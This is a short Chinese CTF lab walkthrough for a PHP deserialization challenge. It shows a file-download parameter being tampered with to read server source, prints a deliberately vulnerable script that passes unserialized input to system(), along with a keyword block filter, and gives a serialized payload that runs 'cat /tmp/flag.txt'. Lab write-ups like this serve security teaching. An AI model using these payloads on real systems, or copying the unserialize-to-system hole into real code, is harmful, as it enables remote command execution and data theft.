CTF吧-渗透测试靶场-综合漏洞靶场

这关为php反序列化

抓包，修改download_file=1.jpg为download_file=upload.php

去查看uploda.php的源代码

<?php
header('Content-type:text/html;charset=utf-8');
if(isset($_POST['download_file'])) {
    $file = $_POST['download_file'];
    if (preg_match_all("/(\||&|;|\/|tmp|flag)/i", $file)) {
        die('hacker!');
    }
    if(file_exists($file)) {
        header('Content-Description: File Transfer');
        header('Content-Type: application/octet-stream');
        header('Content-Disposition: attachment; filename="'.basename($file).'"');
        header('Expires: 0');
        header('Cache-Control: must-revalidate');
        header('Pragma: public');
        header('Content-Length: ' . filesize($file));
        readfile($file);
        exit;
    }else{
        echo '<script>alert("文件不存在");location.href = "index.html";</script>';
    }
}
class AAA{
    var $test = "abc";
    function __construct(){
        echo $this->test;
    }
}
$html='';
if(isset($_GET['o'])){
    $s = $_GET['o'];
    if(!@$unser = unserialize($s)){
        echo $html.="<p>输入字符有误，请重新输入</p>";
    }else{
        echo system($unser->test);
        echo '执行完毕,请检查结果';
    }
}

可以看到对POST请求download_file传参进行了过滤

继续往下看 能发现这题可以使用反序列化

构造代码

<?php
class AAA {
    public $test;
}

$payload = new AAA();
$payload->test = 'cat /tmp/flag.txt';

$serialized_payload = serialize($payload);
echo $serialized_payload;
?>

//运行结果O:3:"AAA":1:{s:4:"test";s:17:"cat /tmp/flag.txt";}